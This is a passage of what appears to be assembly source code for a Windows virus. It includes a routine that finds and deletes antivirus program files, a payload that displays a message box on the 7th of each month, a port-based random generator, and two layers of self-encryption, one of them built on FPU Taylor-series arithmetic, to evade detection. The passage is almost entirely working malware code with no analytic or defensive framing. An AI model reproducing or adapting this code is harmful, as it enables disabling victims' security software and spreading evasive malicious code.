      lea edi, [ebp+offset search]           ; point to Search Record
      lea esi, [ebp+offset av_list]          ; point av files list
                                             ;
locate_next_av:                              ;
      mov eax, dword ptr [esi]               ;
      add eax, ebp                           ; ax = address of file name
      cmp byte ptr [eax], 0FFh               ; is this the end?
      je av_kill_done                        ;
      push edi                               ; push search record address
      push eax                               ; push filename address
      call dword ptr [ebp+offset AFindFirstFileAA] ; find first match
      cmp eax, 0FFFFFFFFh                    ; check for EAX = -1
      je next_av_file                        ;
      lea ebx, [edi.FileName]                ; ESI = pointer to filename...
      push ebx                               ; push filename address
      call dword ptr [ebp+ADeleteFileAA]     ; delete file!
                                             ;
next_av_file:                                ;
      add si, 4                              ; next file
      jmp locate_next_av                     ;
                                             ;
av_kill_done:                                ;
      popa                                   ;
      ret                                    ;
kill_av_files endp                           ;

;The Payload routine

Payload proc near
      pusha
      lea eax, [ebp+offset u32]              ; try to retrieve USER32 module
      push eax                               ;
      call dword ptr [ebp+offset AGetModuleHandleA];
      cmp eax, 0                             ;
      je no_payload                          ;
      mov dword ptr [ebp+user32], eax        ; try to retrieve the address
      lea eax, [ebp+offset AMessageBox]      ; of the MessageBoxA function
      push eax                               ;
      mov eax, dword ptr [ebp+user32]        ;
      push eax                               ;
      call dword ptr [ebp+offset AGetProcAddressA]
      cmp eax, 0                             ;
      je no_payload                          ;
      mov ebx, eax                           ; Get the System Time
      lea eax, [ebp+offset systemtime]       ;
      mov edi, eax                           ;
      push eax                               ;
      call dword ptr [ebp+offset AGetSystemTimeA]
      mov eax, dword ptr [edi+4]             ;
      and eax, 0FFFF0000h                    ;
      shr eax, 10h                           ; Eax = Day of Month...
      cmp eax, 7                             ; is it 7 ?
      jne no_payload                         ;
                                             ;
; Payload                                    ;
      push 00h or 1000h                      ; AlwaysOnTop + Ok button
      lea eax, [ebp+offset windowtitle]      ;
      push eax                               ;
      lea eax, [ebp+offset windowmessage]    ;
      push eax                               ;
      push 0                                 ;
      call ebx                               ; display message
                                             ;
no_payload:                                  ;
      popa                                   ;
      ret                                    ;
Payload endp                                 ;

;The Random routines

brandom32 proc near                      ;
      push edx                           ; this procedure expects a value
      push ecx                           ;
      mov edx, 0                         ; in EAX and returns a random
      push eax                           ; number in EAX but smaller than
      call random32                      ; EAX's original value. Actually
      pop ecx                            ; it bounds EAX (0<=EAX<=limit-1)
      div ecx                            ; EDX and ECX are preserved
      xchg eax, edx                      ;
      pop ecx                            ;
      pop edx                            ;
      ret                                ;
brandom32 endp                           ;
                                         ;
random32 proc near                       ;
      call random16                      ; this is the random 32 bit
      shl eax, 10h                       ; generator (puts 2 random 16 bit
                                         ; in each side of EAX)
random16:                                ;
      push ebx                           ; this procedure here gets a
      xor bx, 0F00Dh                     ; random word by reading different
seed  equ word ptr $-2                   ; ports on 8 bits. Great idea
      in al, 40h                         ; from Wild W0rker.
      xor bl, al                         ;
      in al, 42h                         ;
      add bh, al                         ;
      in al, 41h                         ;
      sub bl, al                         ;
      in al, 41h                         ;
      xor bh, al                         ;
      in al, 42h                         ;
      add bl, al                         ;
      in al, 40h                         ;
      sub bh, al                         ;
      mov word ptr [ebp+offset seed], bx ;
      xchg bx, ax                        ;
      pop ebx                            ;
      ret                                ;
random32 endp                            ;

;Encryption

Crypt proc near
      call random32                       ; get 32bit key value
      mov dword ptr [ebp+key], eax        ;
                                          ;
crypt_loop:                               ;
      mov edx, dword ptr [edi]            ;
      xor edx, eax                        ;
      add eax, 01010101h                  ;
      mov dword ptr [edi], edx            ;
      add edi, 4                          ;
      loop crypt_loop                     ;
      ret                                 ;
Crypt endp                                ;
                                          ;
FPU_Crypt proc near                       ; The encryption procedure
      mov ecx, FPU_encrypt_len            ;
      sub ecx, 4                          ;
      mov edx, 0                          ;
repeat_crypt:                             ;
      mov dword ptr [ebp+counter], edx    ;
      call Taylor                         ; compute EXP(EDX)
      add al, byte ptr [ebp+FPU_key]      ; increase key with result
      xor byte ptr [ebx], al              ; xor the code
      add byte ptr [ebp+FPU_key], 3       ; increase key with 3
      inc edx                             ; increase x for EXP(x)
      cmp edx, 11                         ; and make it 0 if we gone
      jne over1                           ; over 10
      mov edx, 0                          ;
over1:                                    ;
      inc bx                              ; increment pointer
      loop repeat_crypt                   ;
      ret                                 ;
FPU_Crypt endp                            ;
                                          ;
FPU_encrypt_len equ $-FPU_encrypt         ; length of encrypted code

;FPU Encryption algorithm

Factorial proc near                       ; This procedure computes
                                          ; N!, where N is stored into
      finit                               ; the ECX register.
      fwait                               ; syncronize FPU/CPU
      cmp cx, 0                           ; clear 0! exception.
      je exit_1                           ;
      fild dword ptr [ebp+m]              ; load value 1
      fild dword ptr [ebp+m]              ; three times
      fild dword ptr [ebp+m]              ;
                                          ;
repeat_factorial:                         ;
      fmul st(1), st                      ; multiply by the base
      fadd st, st(2)                      ; increase the base
      loop repeat_factorial               ; and repeat
      fincstp                             ; mov ST(1) to ST(0)
      fistp dword ptr [ebp+m]             ; store the result
                                          ;
exit_1:                                   ;
      mov eax, dword ptr [ebp+m]          ; and get it into EAX
      mov dword ptr [ebp+m], 1            ;
      ret                                 ;
                                          ;
m dd 1                                    ;
Factorial endp                            ;
                                          ;
                                          ;
Power Proc Near                           ; This computes EAX to the power
      finit                               ; of ECX.
      fwait                               ;
      cmp cx, 0                           ; clear 0^n and n^0 exceptions
      je exit_3                           ;
      cmp cx, 1                           ;
      je exit_2                           ;
      mov dword ptr [ebp+n], eax          ; save the initial EAX
      fild dword ptr [ebp+n]              ; and reload it two times
      fild dword ptr [ebp+n]              ;
      dec cx                              ; a little correction is needed
                                          ;
repeat_power:                             ;
      fmul st, st(1)                      ; multiply the number by itself
      loop repeat_power                   ; CX times.
      fistp dword ptr [ebp+n]             ; and store the result
                                          ;
exit_3:                                   ;
      mov eax, dword ptr [ebp+n]          ;
      mov dword ptr [ebp+n], 1            ;
                                          ;
exit_2:                                   ;
      ret                                 ;
                                          ;
n dd 1                                    ;
Power Endp                                ;
                                          ;
Taylor Proc near                          ; The main procedure
      push cx                             ;
      finit                               ; Initialize FPU
      fwait                               ;
      Mov cx, 12                          ; the depth of the algorithm
                                          ;
rep_taylor:                               ;
      push cx                             ; save the CX register
      mov eax, dword ptr [ebp+counter]    ; we compute EXP(X)
      call Power                          ; compute EAX^ECX
      mov dword ptr [ebp+temp1], eax      ; store temporary result
      pop cx                              ; restore ECX
      push cx                             ;
      mov eax, ecx                        ;
      call Factorial                      ; Compute ECX!
      mov dword ptr [ebp+temp2], eax      ; store the temporary result
      finit                               ; reinitialize FPU
      fild dword ptr [ebp+temp1]          ; load the two temporary results
      fild dword ptr [ebp+temp2]          ;
      fdiv                                ; and divide them (X^n / n!)
      fld dword ptr [ebp+rez]             ; then load the number in REZ
      fadd                                ; and add the division result
      fst dword ptr [ebp+rez]             ; and then store it as float
      pop cx                              ; restore counter
      dec cx                              ; and decrease it.
      cmp cx, 0FFFFh                      ; I used this trick because I
      jne rep_taylor                      ; needed a step also with cx=0
      fld dword ptr [ebp+rez]             ; load the final result
      frndint                             ; and round it to nearest integer
      fist word ptr [ebp+taylor_rez]      ; store it
      mov ax, word ptr [ebp+taylor_rez]   ; and put it into ax
      mov dword ptr [ebp+taylor_rez], 0   ; clear these addresses
      mov dword ptr [ebp+rez], 0          ;
      pop cx                              ; restore CX
      ret                                 ; (only AX get's changed here)
                                          ;
taylor_rez dw 0                           ;
rez dd 0                                  ;
temp1 dd 0                                ;
temp2 dd 0                                ;
Taylor Endp                               ;
counter dd 0                              ;
                                          ;
FPU_Decrypt proc near                     ; the runtime FPU decryptor (which
      lea ebx, [ebp+offset FPU_encrypt]   ; is hidden by the second encrypt.)
      mov ecx, FPU_encrypt_len            ; length
      sub ecx, 4                          ;
      mov edx, 0                          ;
                                          ;
repeat_decrypt:                           ;
      mov dword ptr [ebp+counter], edx    ;
      call Taylor                         ;
      add al, byte ptr [ebp+FPU_key]      ;
      xor byte ptr [ebx], al              ;
      add byte ptr [ebp+FPU_key], 3       ;
      inc edx                             ;
      cmp edx, 11                         ;
      jne over2                           ;
      mov edx, 0                          ;
over2:                                    ;
      inc bx                              ;
      loop repeat_decrypt                 ;
      ret                                 ;
FPU_Decrypt endp                          ;
FPU_key db 0                              ;
                                          ;
end_crypt label                           ; Here ends the first crypt

;Decryption

Decrypt proc near                         ; EDI = where to crypt
      cmp ebp, 0                          ; ECX = dwords
      je quit_decrypt                     ;
      mov eax, dword ptr [ebp+key]        ;
                                          ;
decrypt_loop:                             ;
      mov edx, dword ptr [edi]            ;
      xor edx, eax                        ;
      add eax, 01010101h                  ; modify key
      mov dword ptr [edi], edx            ;
      add edi, 4                          ;
      loop decrypt_loop                   ;
                                          ;
      call FPU_Decrypt                    ;
quit_decrypt:                             ;
      ret                                 ;
Decrypt endp                              ;
key dd 0                                  ;
                                          ;
end:                                      ;
end start                                 ;
end                                       ; end of story...
;
